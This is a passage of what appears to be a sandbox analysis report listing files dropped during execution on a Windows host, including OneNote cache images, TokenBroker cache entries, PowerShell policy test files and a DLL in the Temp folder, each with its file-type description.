C:\Users\user\AppData\Local\Microsoft\OneNote\16.0\cache\tmp\00000089.bin
|
PNG image data, 85 x 470, 8-bit colormap, non-interlaced
|
dropped
|
||
C:\Users\user\AppData\Local\Microsoft\OneNote\16.0\cache\tmp\0000008A.bin
|
data
|
dropped
|
||
C:\Users\user\AppData\Local\Microsoft\OneNote\16.0\cache\tmp\0000008B.bin
|
PNG image data, 88 x 574, 8-bit colormap, non-interlaced
|
dropped
|
||
C:\Users\user\AppData\Local\Microsoft\OneNote\16.0\cache\tmp\0000008C.bin
|
data
|
dropped
|
||
C:\Users\user\AppData\Local\Microsoft\OneNote\16.0\cache\tmp\0000008D.bin
|
JPEG image data, JFIF standard 1.02, aspect ratio, density 100x100, segment length 16, baseline, precision 8, 612x792, components
3
|
dropped
|
||
C:\Users\user\AppData\Local\Microsoft\OneNote\16.0\cache\tmp\0000008E.bin
|
data
|
dropped
|
||
C:\Users\user\AppData\Local\Microsoft\OneNote\16.0\cache\tmp\0000008F.bin
|
JPEG image data, JFIF standard 1.02, aspect ratio, density 100x100, segment length 16, baseline, precision 8, 612x792, components
3
|
dropped
|
||
C:\Users\user\AppData\Local\Microsoft\OneNote\16.0\cache\tmp\0000008G.bin
|
data
|
dropped
|
||
C:\Users\user\AppData\Local\Microsoft\OneNote\16.0\cache\tmp\0000008H.bin
|
JPEG image data, JFIF standard 1.02, aspect ratio, density 100x100, segment length 16, baseline, precision 8, 612x792, components
3
|
dropped
|
||
C:\Users\user\AppData\Local\Microsoft\OneNote\16.0\cache\tmp\0000008I.bin
|
data
|
dropped
|
||
C:\Users\user\AppData\Local\Microsoft\OneNote\16.0\cache\tmp\0000008J.bin
|
data
|
dropped
|
||
C:\Users\user\AppData\Local\Microsoft\OneNote\16.0\cache\tmp\0000008K.bin
|
JPEG image data, JFIF standard 1.02, resolution (DPI), density 72x72, segment length 16, Exif Standard: [TIFF image data,
big-endian, direntries=7, orientation=upper-left, xresolution=98, yresolution=106, resolutionunit=2, software=Adobe Photoshop
CS Windows, datetime=2004:03:12 11:05:55], progressive, precision 8, 612x618, components 3
|
dropped
|
||
C:\Users\user\AppData\Local\Microsoft\OneNote\16.0\cache\tmp\0000008L.bin
|
data
|
dropped
|
||
C:\Users\user\AppData\Local\Microsoft\OneNote\16.0\cache\tmp\0000008M.bin
|
JPEG image data, JFIF standard 1.02, resolution (DPI), density 72x72, segment length 16, Exif Standard: [TIFF image data,
big-endian, direntries=7, orientation=upper-left, xresolution=98, yresolution=106, resolutionunit=2, software=Adobe Photoshop
CS Windows, datetime=2004:03:12 11:08:07], baseline, precision 8, 595x450, components 3
|
dropped
|
||
C:\Users\user\AppData\Local\Microsoft\OneNote\16.0\cache\tmp\0000008N.bin
|
data
|
dropped
|
||
C:\Users\user\AppData\Local\Microsoft\OneNote\16.0\cache\tmp\0000008O.bin
|
JPEG image data, JFIF standard 1.02, aspect ratio, density 100x100, segment length 16, baseline, precision 8, 612x792, components
3
|
dropped
|
||
C:\Users\user\AppData\Local\Microsoft\TokenBroker\Cache\089d66ba04a8cec4bdc5267f42f39cf84278bb67.tbres
|
data
|
dropped
|
||
C:\Users\user\AppData\Local\Microsoft\TokenBroker\Cache\5475cb191e478c39370a215b2da98a37e9dc813d.tbres
|
data
|
dropped
|
||
C:\Users\user\AppData\Local\Microsoft\TokenBroker\Cache\56a61aeb75d8f5be186c26607f4bb213abe7c5ec.tbres
|
data
|
dropped
|
||
C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\7LE4YNMI\FGR8SNK3.htm
|
HTML document, Unicode text, UTF-8 text, with very long lines (2233)
|
dropped
|
||
C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\7LE4YNMI\t5[1]
|
ASCII text, with no line terminators
|
dropped
|
||
C:\Users\user\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive
|
data
|
modified
|
||
C:\Users\user\AppData\Local\Temp\6153a066.dll
|
PE32 executable (DLL) (console) Intel 80386, for MS Windows
|
dropped
|
||
C:\Users\user\AppData\Local\Temp\Diagnostics\ONENOTE\App_1675799305235524000_F240886F-595A-4B76-A1BE-CF9D49A0F922.log
|
ASCII text, with very long lines (9330), with CRLF line terminators
|
dropped
|
||
C:\Users\user\AppData\Local\Temp\Diagnostics\ONENOTE\App_1675799305236709100_F240886F-595A-4B76-A1BE-CF9D49A0F922.log
|
data
|
dropped
|
||
C:\Users\user\AppData\Local\Temp\__PSScriptPolicyTest_1vl10ybv.q0t.ps1
|
ASCII text, with no line terminators
|
dropped
|
||
C:\Users\user\AppData\Local\Temp\__PSScriptPolicyTest_5iouqous.n34.psm1
|
ASCII text, with no line terminators
|
dropped
|
||
C:\Users\user\AppData\Local\Temp\__PSScriptPolicyTest_a4ewwno3.vad.psm1
|
ASCII text, with no line terminators
|
dropped
|
||
C:\Users\user\AppData\Local\Temp\__PSScriptPolicyTest_m2q4zbcx.bxu.ps1
|
ASCII text, with no line terminators
|
dropped
|
||
C:\Users\user\AppData\Local\Temp\{02C10750-9403-4519-A3F4-0F1F0C088034}
|
PNG image data, 3005 x 184, 8-bit/color RGBA, non-interlaced
|
dropped
|
||
C:\Users\user\AppData\Local\Temp\{042133B5-28C3-40AD-BD01-1E549ABC2585}
|
PNG image data, 1692 x 810, 8-bit/color RGBA, non-interlaced
|
dropped
|
||
C:\Users\user\AppData\Local\Temp\{052755E7-165A-4A24-BD1F-1216AC7891D9}
|
JPEG image data, JFIF standard 1.02, aspect ratio, density 100x100, segment length 16, baseline, precision 8, 612x792, components
3
|
dropped
|
||
C:\Users\user\AppData\Local\Temp\{0CBE3768-B868-4150-BF0A-4BC0A8E82C3A}
|
JPEG image data, JFIF standard 1.02, aspect ratio, density 100x100, segment length 16, baseline, precision 8, 612x792, components
3
|
dropped
|
||
C:\Users\user\AppData\Local\Temp\{0EA0B365-42E8-4B52-9C77-CEF00DD57741}
|
Windows Enhanced Metafile (EMF) image data version 0x10000
|
dropped
|
||
C:\Users\user\AppData\Local\Temp\{0F05351B-0E99-4F52-A2EB-937394CE632C}
|
JPEG image data, JFIF standard 1.02, aspect ratio, density 100x100, segment length 16, baseline, precision 8, 612x792, components
3
|
dropped
|
||
C:\Users\user\AppData\Local\Temp\{10F3B4EB-98C4-4249-A903-1912DBDDA76C}
|
data
|
dropped
|
||
C:\Users\user\AppData\Local\Temp\{127AD84E-E3BC-44F5-957C-4E45F8DB0DBD}
|
JPEG image data, JFIF standard 1.02, aspect ratio, density 100x100, segment length 16, baseline, precision 8, 612x792, components
3
|
dropped
|
||
C:\Users\user\AppData\Local\Temp\{12841851-60F1-4FCB-8266-69707FED8BBB}
|
PNG image data, 813 x 99, 8-bit/color RGBA, non-interlaced
|
dropped
|
||
C:\Users\user\AppData\Local\Temp\{14C229A1-7EE0-4B6A-A950-0BF1BA0BD675}
|
JPEG image data, JFIF standard 1.02, aspect ratio, density 100x100, segment length 16, baseline, precision 8, 612x792, components
3
|
dropped
|
||
C:\Users\user\AppData\Local\Temp\{16229233-EFD2-4E9C-A789-423B00E1DDF4}
|
JPEG image data, JFIF standard 1.02, resolution (DPI), density 72x72, segment length 16, Exif Standard: [TIFF image data,
big-endian, direntries=7, orientation=upper-left, xresolution=98, yresolution=106, resolutionunit=2, software=Adobe Photoshop
7.0, datetime=2004:03:04 13:06:24], progressive, precision 8, 38x792, components 3
|
dropped
|
||
C:\Users\user\AppData\Local\Temp\{1766AAFA-C18D-4EC8-B66E-94155D15F3E7}
|
JPEG image data, JFIF standard 1.02, aspect ratio, density 100x100, segment length 16, baseline, precision 8, 612x792, components
3
|
dropped
|
||
C:\Users\user\AppData\Local\Temp\{2250CCC4-2CE0-47D6-BA9C-854486C25443}
|
JPEG image data, JFIF standard 1.02, aspect ratio, density 100x100, segment length 16, baseline, precision 8, 612x792, components
3
|
dropped
|
||
C:\Users\user\AppData\Local\Temp\{26508C04-B1B1-4DDE-966B-60BB07B665CD}
|
JPEG image data, JFIF standard 1.02, aspect ratio, density 100x100, segment length 16, baseline, precision 8, 612x792, components
3
|
dropped
|
||
C:\Users\user\AppData\Local\Temp\{27B59686-7CF2-4464-82CE-CA2AAC04FB01}
|
PNG image data, 50 x 600, 8-bit colormap, non-interlaced
|
dropped
|
||
C:\Users\user\AppData\Local\Temp\{2C3FB0A5-19A9-4A2F-9A14-64BA5A61646B}
|
JPEG image data, JFIF standard 1.02, aspect ratio, density 100x100, segment length 16, baseline, precision 8, 612x792, components
3
|
dropped
|
||
C:\Users\user\AppData\Local\Temp\{2D47C43B-079D-47AD-8871-FB174F28B400}
|
JPEG image data, JFIF standard 1.01, resolution (DPI), density 72x72, segment length 16, baseline, precision 8, 613x144, components
3
|
dropped
|
||
C:\Users\user\AppData\Local\Temp\{2D759C71-7B21-4F5F-A437-2D884E785F59}
|
JPEG image data, JFIF standard 1.02, resolution (DPI), density 72x72, segment length 16, Exif Standard: [TIFF image data,
big-endian, direntries=7, orientation=upper-left, xresolution=98, yresolution=106, resolutionunit=2, software=Adobe Photoshop
CS Windows, datetime=2004:03:12 11:05:55], progressive, precision 8, 612x618, components 3
|
dropped
|
||
C:\Users\user\AppData\Local\Temp\{2DC3631D-2D26-475D-B4F3-4CC9C9AB216B}
|
JPEG image data, JFIF standard 1.02, aspect ratio, density 100x100, segment length 16, baseline, precision 8, 612x792, components
3
|
dropped
|
||
C:\Users\user\AppData\Local\Temp\{2EF6D8E9-5DB3-45F0-9A8D-13D5250278E1}
|
JPEG image data, JFIF standard 1.01, resolution (DPCM), density 28x28, segment length 16, baseline, precision 8, 276x139,
components 3
|
dropped
|
||
C:\Users\user\AppData\Local\Temp\{31856C7B-2930-490E-AF00-0E74629CA713}
|
ASCII text, with very long lines (376), with no line terminators
|
dropped
|
||
C:\Users\user\AppData\Local\Temp\{31F7C1A0-FBA5-4AA2-8319-2A8A988C15B2}
|
JPEG image data, JFIF standard 1.02, aspect ratio, density 100x100, segment length 16, baseline, precision 8, 612x792, components
3
|
dropped
|
||
C:\Users\user\AppData\Local\Temp\{33679540-184E-4B32-8F17-27688D6F1871}
|
JPEG image data, JFIF standard 1.01, resolution (DPCM), density 28x28, segment length 16, baseline, precision 8, 728x77, components
3
|
dropped
|
||
C:\Users\user\AppData\Local\Temp\{344C68E9-415C-4C9A-AEF0-992A988AC7C9}
|
PNG image data, 50 x 500, 8-bit colormap, non-interlaced
|
dropped
|
||
C:\Users\user\AppData\Local\Temp\{35D45B23-E935-41CD-AB9F-865DD4B1EFD3}
|
JPEG image data, JFIF standard 1.02, resolution (DPI), density 72x72, segment length 16, Exif Standard: [TIFF image data,
big-endian, direntries=7, orientation=upper-left, xresolution=98, yresolution=106, resolutionunit=2, software=Adobe Photoshop
7.0, datetime=2004:03:04 13:44:07], progressive, precision 8, 611x163, components 3
|
dropped
|
||
C:\Users\user\AppData\Local\Temp\{380E9678-CCA7-4D98-9580-CE4D7F5345AD}
|
data
|
dropped
|
||
C:\Users\user\AppData\Local\Temp\{3A52DBDD-E6C9-49B3-BB62-08423A5D8CDD}
|
data
|
dropped
|
||
C:\Users\user\AppData\Local\Temp\{3B2422FA-B7B6-4C85-A383-D403AF376A19}
|
JPEG image data, JFIF standard 1.02, resolution (DPI), density 72x72, segment length 16, Exif Standard: [TIFF image data,
big-endian, direntries=7, orientation=upper-left, xresolution=98, yresolution=106, resolutionunit=2, software=Adobe Photoshop
7.0, datetime=2004:03:04 13:18:09], progressive, precision 8, 164x641, components 3
|
dropped
|
||
C:\Users\user\AppData\Local\Temp\{3CD01B16-8B41-4CB3-B93D-58551EE36BD9}
|
JPEG image data, JFIF standard 1.01, resolution (DPCM), density 28x28, segment length 16, baseline, precision 8, 262x277,
components 3
|
dropped
|
||
C:\Users\user\AppData\Local\Temp\{42502DB3-FF81-428D-9D0E-535F194979C5}
|
data
|
dropped
|
||
C:\Users\user\AppData\Local\Temp\{44558123-BF94-47C5-9F25-9DFF12381366}
|
data
|
dropped
|
||
C:\Users\user\AppData\Local\Temp\{45409C52-66DC-4D1D-BC32-D4F826B0ABF7}
|
PNG image data, 77 x 627, 8-bit colormap, non-interlaced
|
dropped
|
||
C:\Users\user\AppData\Local\Temp\{47B61E11-51C2-44CE-AA68-A379911AC36B}
|
JPEG image data, JFIF standard 1.02, aspect ratio, density 100x100, segment length 16, baseline, precision 8, 612x792, components
3
|
dropped
|
||
C:\Users\user\AppData\Local\Temp\{4906D496-7104-43C3-ABB5-145F868304A9}
|
data
|
dropped
|
||
C:\Users\user\AppData\Local\Temp\{50C62F48-1354-4A1A-B1D4-0BD5D24291B7}
|
JPEG image data, JFIF standard 1.02, resolution (DPI), density 72x72, segment length 16, Exif Standard: [TIFF image data,
big-endian, direntries=7, orientation=upper-left, xresolution=98, yresolution=106, resolutionunit=2, software=Adobe Photoshop
7.0, datetime=2004:03:04 13:06:24], progressive, precision 8, 38x792, components 3
|
dropped
|
||
C:\Users\user\AppData\Local\Temp\{51EF1C9B-AD59-4A13-9F83-00C4097E5E80}
|
data
|
dropped
|
||
C:\Users\user\AppData\Local\Temp\{593DA010-8616-4275-9D37-8B60CC933EEF}
|
JPEG image data, JFIF standard 1.01, resolution (DPI), density 72x72, segment length 16, baseline, precision 8, 69x630, components
3
|
dropped
|
||
C:\Users\user\AppData\Local\Temp\{59C905F1-32C7-4610-9E71-956147612920}
|
JPEG image data, JFIF standard 1.02, aspect ratio, density 100x100, segment length 16, baseline, precision 8, 612x792, components
3
|
dropped
|
||
C:\Users\user\AppData\Local\Temp\{5CF6B9C5-3162-4CE4-9D05-089070F7BC56}
|
JPEG image data, JFIF standard 1.02, aspect ratio, density 100x100, segment length 16, baseline, precision 8, 612x792, components
3
|
dropped
|
||
C:\Users\user\AppData\Local\Temp\{61C9884B-6ED7-48F6-8797-39F12617DA66}
|
data
|
dropped
|
||
C:\Users\user\AppData\Local\Temp\{642E0793-3CF7-4CE6-944A-A52F326D4003}
|
JPEG image data, JFIF standard 1.02, resolution (DPI), density 72x72, segment length 16, Exif Standard: [TIFF image data,
big-endian, direntries=7, orientation=upper-left, xresolution=98, yresolution=106, resolutionunit=2, software=Adobe Photoshop
CS Windows, datetime=2004:03:12 11:12:29], progressive, precision 8, 598x766, components 3
|
dropped
|
||
C:\Users\user\AppData\Local\Temp\{648C62A6-C247-4A66-A256-8DDE720097B0}
|
JPEG image data, JFIF standard 1.02, resolution (DPI), density 72x72, segment length 16, Exif Standard: [TIFF image data,
big-endian, direntries=7, orientation=upper-left, xresolution=98, yresolution=106, resolutionunit=2, software=Adobe Photoshop
7.0, datetime=2004:03:04 13:18:09], progressive, precision 8, 164x641, components 3
|
dropped
|
||
C:\Users\user\AppData\Local\Temp\{657EC161-3749-4594-8AE8-19BA879E5E20}
|
PNG image data, 189 x 305, 8-bit/color RGBA, non-interlaced
|
dropped
|
||
C:\Users\user\AppData\Local\Temp\{685597F0-2BB6-405A-87F5-D73D6EA19D5E}
|
JPEG image data, JFIF standard 1.01, resolution (DPI), density 72x72, segment length 16, baseline, precision 8, 357x69, components
3
|
dropped
|
||
C:\Users\user\AppData\Local\Temp\{6A5D3152-237E-474A-AD61-B70F8AE1AFEE}
|
JPEG image data, JFIF standard 1.02, aspect ratio, density 100x100, segment length 16, baseline, precision 8, 612x792, components
3
|
dropped
|
||
C:\Users\user\AppData\Local\Temp\{6B6C0094-C376-4DB1-BDFB-9997B1292B43}
|
data
|
dropped
|
||
C:\Users\user\AppData\Local\Temp\{6B8E0299-C845-4637-B57A-46F960F6EC0D}
|
JPEG image data, JFIF standard 1.01, resolution (DPCM), density 28x28, segment length 16, baseline, precision 8, 76x97, components
3
|
dropped
|
||
C:\Users\user\AppData\Local\Temp\{6C5DA5DA-23D0-4FDB-8FCE-8003AEE40CCC}
|
data
|
dropped
|
||
C:\Users\user\AppData\Local\Temp\{6F7FD9A3-49AF-42AD-B697-BFBFE8C9BC37}
|
PNG image data, 171 x 552, 8-bit colormap, non-interlaced
|
dropped
|
||
C:\Users\user\AppData\Local\Temp\{70AB22AE-3A57-42F9-BA1E-BF2D04E03858}
|
JPEG image data, JFIF standard 1.01, resolution (DPCM), density 28x28, segment length 16, baseline, precision 8, 780x107,
components 3
|
dropped
|
||
C:\Users\user\AppData\Local\Temp\{73EA72F6-5664-4A94-8CAF-4AAADD41991B}
|
data
|
dropped
|
||
C:\Users\user\AppData\Local\Temp\{7775DEEE-2447-4A60-BE73-71ED86BF1228}
|
JPEG image data, JFIF standard 1.02, aspect ratio, density 100x100, segment length 16, baseline, precision 8, 612x792, components
3
|
dropped
|
||
C:\Users\user\AppData\Local\Temp\{780DA77E-8040-47D1-B6E4-A85E0444F823}
|
PNG image data, 40 x 650, 8-bit colormap, non-interlaced
|
dropped
|
||
C:\Users\user\AppData\Local\Temp\{7E7643A7-B1F1-4FD2-B90B-D622C048DCEE}
|
data
|
dropped
|
||
C:\Users\user\AppData\Local\Temp\{81981A4B-9F2C-4042-A651-FACB34B7A37B}
|
Windows Enhanced Metafile (EMF) image data version 0x10000
|
dropped
|
||
C:\Users\user\AppData\Local\Temp\{81CF9720-6E91-4469-9943-F03B145AB4E9}
|
JPEG image data, JFIF standard 1.02, resolution (DPI), density 72x72, segment length 16, Exif Standard: [TIFF image data,
big-endian, direntries=7, orientation=upper-left, xresolution=98, yresolution=106, resolutionunit=2, software=Adobe Photoshop
CS Windows, datetime=2004:03:12 11:05:55], progressive, precision 8, 612x618, components 3
|
dropped
|
||
C:\Users\user\AppData\Local\Temp\{82E9382A-B92D-4292-A336-795E62A32711}
|
data
|
dropped
|
||
C:\Users\user\AppData\Local\Temp\{87562BD7-224E-4E0B-8E43-3518B03C0584}
|
PNG image data, 40 x 40, 8-bit/color RGBA, non-interlaced
|
dropped
|
||
C:\Users\user\AppData\Local\Temp\{89A71DAB-1ED5-49AA-AC3C-51CA3DA9BD26}
|
JPEG image data, JFIF standard 1.02, resolution (DPI), density 72x72, segment length 16, Exif Standard: [TIFF image data,
big-endian, direntries=7, orientation=upper-left, xresolution=98, yresolution=106, resolutionunit=2, software=Adobe Photoshop
7.0, datetime=2004:03:04 13:19:29], progressive, precision 8, 221x792, components 3
|
dropped
|
||
C:\Users\user\AppData\Local\Temp\{8DB55472-31D0-45BA-B05A-4B2F08C15E7C}
|
data
|
dropped
|
||
C:\Users\user\AppData\Local\Temp\{8DB7ABBD-0EBD-40BB-BCF1-CE3C4B853C47}
|
JPEG image data, JFIF standard 1.02, resolution (DPI), density 72x72, segment length 16, Exif Standard: [TIFF image data,
big-endian, direntries=7, orientation=upper-left, xresolution=98, yresolution=106, resolutionunit=2, software=Adobe Photoshop
CS Windows, datetime=2004:03:12 11:11:38], progressive, precision 8, 577x757, components 3
|
dropped
|
||
C:\Users\user\AppData\Local\Temp\{97156197-F99A-44A3-B91C-4D10A5F1EA80}
|
PNG image data, 177 x 123, 8-bit/color RGBA, non-interlaced
|
dropped
|
||
C:\Users\user\AppData\Local\Temp\{980D440C-9DEC-45A0-9F83-B487444A96DB}
|
JPEG image data, JFIF standard 1.02, aspect ratio, density 100x100, segment length 16, baseline, precision 8, 612x792, components
3
|
dropped
|
||
C:\Users\user\AppData\Local\Temp\{9F1EBAFC-FA2D-4DB4-A4E2-B7D73726F0FF}
|
JPEG image data, JFIF standard 1.02, aspect ratio, density 100x100, segment length 16, baseline, precision 8, 612x792, components
3
|
dropped
|
||
C:\Users\user\AppData\Local\Temp\{A1CD5AA6-808E-4662-9C04-EA93045CB6ED}
|
PNG image data, 60 x 336, 4-bit colormap, non-interlaced
|
dropped
|
||
C:\Users\user\AppData\Local\Temp\{A3B83B45-BD6E-44E1-957F-AB5538A74A2A}
|
JPEG image data, JFIF standard 1.02, aspect ratio, density 100x100, segment length 16, baseline, precision 8, 612x792, components
3
|
dropped
|
||
C:\Users\user\AppData\Local\Temp\{A706B30B-BFC0-47B2-9356-21E717B72697}
|
data
|
dropped
|
||
C:\Users\user\AppData\Local\Temp\{A9D2ADC1-81F4-4F0E-BB84-CD166DADD68D}
|
JPEG image data, JFIF standard 1.01, resolution (DPI), density 72x72, segment length 16, baseline, precision 8, 14x341, components
3
|
dropped
|
||
C:\Users\user\AppData\Local\Temp\{ABE5FFE6-598C-41A3-93B9-340D953AA5E1}
|
JPEG image data, JFIF standard 1.02, resolution (DPI), density 72x72, segment length 16, Exif Standard: [TIFF image data,
big-endian, direntries=7, orientation=upper-left, xresolution=98, yresolution=106, resolutionunit=2, software=Adobe Photoshop
CS Windows, datetime=2004:03:12 11:08:07], baseline, precision 8, 595x450, components 3
|
dropped
|
||
C:\Users\user\AppData\Local\Temp\{AD5CDE30-C57F-45EA-A71F-1CF5071C6C68}
|
PNG image data, 176 x 513, 8-bit colormap, non-interlaced
|
dropped
|
||
C:\Users\user\AppData\Local\Temp\{AF37B7F6-D372-499E-A2A9-0831E4F0DC93}
|
JPEG image data, JFIF standard 1.02, aspect ratio, density 100x100, segment length 16, baseline, precision 8, 612x792, components
3
|
dropped
|
||
C:\Users\user\AppData\Local\Temp\{B0A0F080-9866-44EE-BF5F-B35524379A23}
|
data
|
dropped
|
||
C:\Users\user\AppData\Local\Temp\{B3DA8D1D-5B44-430C-9CA2-2FC348A3F602}
|
JPEG image data, JFIF standard 1.02, resolution (DPI), density 72x72, segment length 16, Exif Standard: [TIFF image data,
big-endian, direntries=7, orientation=upper-left, xresolution=98, yresolution=106, resolutionunit=2, software=Adobe Photoshop
7.0, datetime=2004:03:04 13:26:15], progressive, precision 8, 216x792, components 3
|
dropped
|
||
C:\Users\user\AppData\Local\Temp\{B57C351C-07A5-437C-A6CF-23D742222339}
|
PNG image data, 30 x 700, 8-bit colormap, non-interlaced
|
dropped
|
||
C:\Users\user\AppData\Local\Temp\{B5843539-AA6A-46E5-BE18-C4DE00C5E461}
|
data
|
dropped
|
||
C:\Users\user\AppData\Local\Temp\{B58F9B2C-CE9C-4BEF-B4A4-66CEB4BF294A}
|
PNG image data, 40 x 623, 8-bit colormap, non-interlaced
|
dropped
|
||
C:\Users\user\AppData\Local\Temp\{B976CD13-5E19-444A-A18C-EF3564A67038}
|
JPEG image data, JFIF standard 1.02, aspect ratio, density 100x100, segment length 16, baseline, precision 8, 612x792, components
3
|
dropped
|
||
C:\Users\user\AppData\Local\Temp\{BC74BFC2-7BBA-4188-87EB-0AF5595483A7}
|
JPEG image data, JFIF standard 1.02, aspect ratio, density 100x100, segment length 16, baseline, precision 8, 612x792, components
3
|
dropped
|
||
C:\Users\user\AppData\Local\Temp\{BCA91F61-30EE-423B-988E-4E01B72D4902}
|
JPEG image data, JFIF standard 1.02, aspect ratio, density 100x100, segment length 16, baseline, precision 8, 612x792, components
3
|
dropped
|
||
C:\Users\user\AppData\Local\Temp\{BD65AD6F-3797-446B-A7A2-57CD60145702}
|
data
|
dropped
|
||
C:\Users\user\AppData\Local\Temp\{BDE3DF0C-96A3-4DF0-B11C-8D15691C1F40}
|
JPEG image data, JFIF standard 1.02, resolution (DPI), density 72x72, segment length 16, Exif Standard: [TIFF image data,
big-endian, direntries=7, orientation=upper-left, xresolution=98, yresolution=106, resolutionunit=2, software=Adobe Photoshop
7.0, datetime=2004:03:04 13:27:10], progressive, precision 8, 102x792, components 3
|
dropped
|
||
C:\Users\user\AppData\Local\Temp\{BE030FE5-37AE-40FF-BE40-0F21E42E16A3}
|
JPEG image data, JFIF standard 1.01, resolution (DPCM), density 28x28, segment length 16, baseline, precision 8, 814x45, components
3
|
dropped
|
||
C:\Users\user\AppData\Local\Temp\{BED86EAA-86A3-45AE-A6C5-DFE26D5B80C0}
|
Windows Enhanced Metafile (EMF) image data version 0x10000
|
dropped
|
||
C:\Users\user\AppData\Local\Temp\{BEEE29F9-E37B-4ED9-8299-626A258FC8A7}
|
PNG image data, 1692 x 810, 8-bit/color RGBA, non-interlaced
|
dropped
|
||
C:\Users\user\AppData\Local\Temp\{C381971C-AF06-41AB-A4D1-BC3A93094CA8}
|
JPEG image data, JFIF standard 1.01, resolution (DPCM), density 28x28, segment length 16, baseline, precision 8, 70x626, components
3
|
dropped
|
||
C:\Users\user\AppData\Local\Temp\{C3AA3E58-97CB-494C-A32F-EBB7E3A396ED}
|
JPEG image data, JFIF standard 1.02, aspect ratio, density 100x100, segment length 16, baseline, precision 8, 612x792, components
3
|
dropped
|
||
C:\Users\user\AppData\Local\Temp\{C43F96E6-660D-44B2-85FF-1BBB50DD2716}
|
JPEG image data, JFIF standard 1.01, resolution (DPCM), density 28x28, segment length 16, baseline, precision 8, 105x441,
components 3
|
dropped
|
||
C:\Users\user\AppData\Local\Temp\{C66C9225-98E5-4EA6-91FD-71EDE500FAAC}
|
PNG image data, 40 x 617, 8-bit colormap, non-interlaced
|
dropped
|
||
C:\Users\user\AppData\Local\Temp\{CE6575AB-C010-471C-A7EC-B2FE1BF487E7}
|
JPEG image data, JFIF standard 1.01, resolution (DPI), density 72x72, segment length 16, baseline, precision 8, 700x114, components
3
|
dropped
|
||
C:\Users\user\AppData\Local\Temp\{D090CB86-C2DA-47DF-8F80-F8170B5B3358}
|
JPEG image data, JFIF standard 1.02, aspect ratio, density 100x100, segment length 16, baseline, precision 8, 612x792, components
3
|
dropped
|
||
C:\Users\user\AppData\Local\Temp\{D11E19BF-125E-42FB-BBBF-C8345C8A80CC}
|
PNG image data, 85 x 470, 8-bit colormap, non-interlaced
|
dropped
|
||
C:\Users\user\AppData\Local\Temp\{D4922ADC-BA94-43C4-B023-D46C9DBB8B8E}
|
JPEG image data, JFIF standard 1.02, resolution (DPI), density 72x72, segment length 16, Exif Standard: [TIFF image data,
big-endian, direntries=7, orientation=upper-left, xresolution=98, yresolution=106, resolutionunit=2, software=Adobe Photoshop
CS Windows, datetime=2004:03:12 11:08:07], baseline, precision 8, 595x450, components 3
|
dropped
|
||
C:\Users\user\AppData\Local\Temp\{D6B261A8-206D-4705-82BA-7A50FF6DCACD}
|
PNG image data, 50 x 556, 8-bit colormap, non-interlaced
|
dropped
|
||
C:\Users\user\AppData\Local\Temp\{D6B903DB-F642-496E-8278-632EACF43726}
|
PNG image data, 189 x 305, 8-bit/color RGBA, non-interlaced
|
dropped
|
||
C:\Users\user\AppData\Local\Temp\{D6BA5A47-7489-4FDA-9BDA-4FF96BC386FB}
|
Windows Enhanced Metafile (EMF) image data version 0x10000
|
dropped
|
||
C:\Users\user\AppData\Local\Temp\{D821876A-2D36-4FFA-9E90-82859548E34D}
|
JPEG image data, JFIF standard 1.02, aspect ratio, density 100x100, segment length 16, baseline, precision 8, 612x792, components
3
|
dropped
|
||
C:\Users\user\AppData\Local\Temp\{D886C99E-2E0B-4065-A244-08D211AD3A84}
|
JPEG image data, JFIF standard 1.02, resolution (DPI), density 72x72, segment length 16, Exif Standard: [TIFF image data,
big-endian, direntries=7, orientation=upper-left, xresolution=98, yresolution=106, resolutionunit=2, software=Adobe Photoshop
CS Windows, datetime=2004:03:12 11:09:29], progressive, precision 8, 609x675, components 3
|
dropped
|
||
C:\Users\user\AppData\Local\Temp\{D9EAE201-38BC-43FD-A79B-F0C42B7491AC}
|
data
|
dropped
|
||
C:\Users\user\AppData\Local\Temp\{DA73D4D4-2089-4E8F-8A9E-2591D13CB892}
|
JPEG image data, JFIF standard 1.02, resolution (DPI), density 72x72, segment length 16, Exif Standard: [TIFF image data,
big-endian, direntries=7, orientation=upper-left, xresolution=98, yresolution=106, resolutionunit=2, software=Adobe Photoshop
CS Windows, datetime=2004:03:12 11:10:32], progressive, precision 8, 594x773, components 3
|
dropped
|
||
C:\Users\user\AppData\Local\Temp\{DEB0A339-AC24-4C5C-872D-8DDFDDA1FF14}
|
GIF image data, version 89a, 1012 x 327
|
dropped
|
||
C:\Users\user\AppData\Local\Temp\{DEDF7FBF-764F-4CA3-813B-9966AD9AFB98}
|
JPEG image data, JFIF standard 1.02, aspect ratio, density 100x100, segment length 16, baseline, precision 8, 612x792, components
3
|
dropped
|
||
C:\Users\user\AppData\Local\Temp\{E216678F-7A01-410B-9120-F2E88C52DCA6}
|
JPEG image data, JFIF standard 1.02, resolution (DPI), density 72x72, segment length 16, Exif Standard: [TIFF image data,
big-endian, direntries=7, orientation=upper-left, xresolution=98, yresolution=106, resolutionunit=2, software=Adobe Photoshop
7.0, datetime=2004:03:04 13:19:29], progressive, precision 8, 221x792, components 3
|
dropped
|
||
C:\Users\user\AppData\Local\Temp\{E33E5EDE-2705-4BEB-9D81-F710B8C373BE}
|
PNG image data, 189 x 305, 8-bit/color RGBA, non-interlaced
|
dropped
|
||
C:\Users\user\AppData\Local\Temp\{E42AABC5-C502-4D82-B8A2-3B581EE5E31C}
|
JPEG image data, JFIF standard 1.02, aspect ratio, density 100x100, segment length 16, baseline, precision 8, 612x792, components
3
|
dropped
|
||
C:\Users\user\AppData\Local\Temp\{ED3610D9-357D-46CD-A3AE-0B063B6DB0A7}
|
JPEG image data, JFIF standard 1.01, resolution (DPI), density 72x72, segment length 16, baseline, precision 8, 95x498, components
3
|
dropped
|
||
C:\Users\user\AppData\Local\Temp\{EE7C6B01-CF3A-4A3E-9053-258E508C58FB}
|
JPEG image data, JFIF standard 1.01, resolution (DPI), density 72x72, segment length 16, baseline, precision 8, 814x105, components
3
|
dropped
|
||
C:\Users\user\AppData\Local\Temp\{F1403804-0396-4417-9E71-24C4D1EBD778}
|
JPEG image data, JFIF standard 1.02, aspect ratio, density 100x100, segment length 16, baseline, precision 8, 612x792, components
3
|
dropped
|
||
C:\Users\user\AppData\Local\Temp\{F2B40CB9-38C8-4DF5-8EC7-16A019DB6687}
|
PNG image data, 39 x 600, 8-bit colormap, non-interlaced
|
dropped
|
||
C:\Users\user\AppData\Local\Temp\{F4BF6CA5-6552-4F7A-8026-C3F9F1D4D233}
|
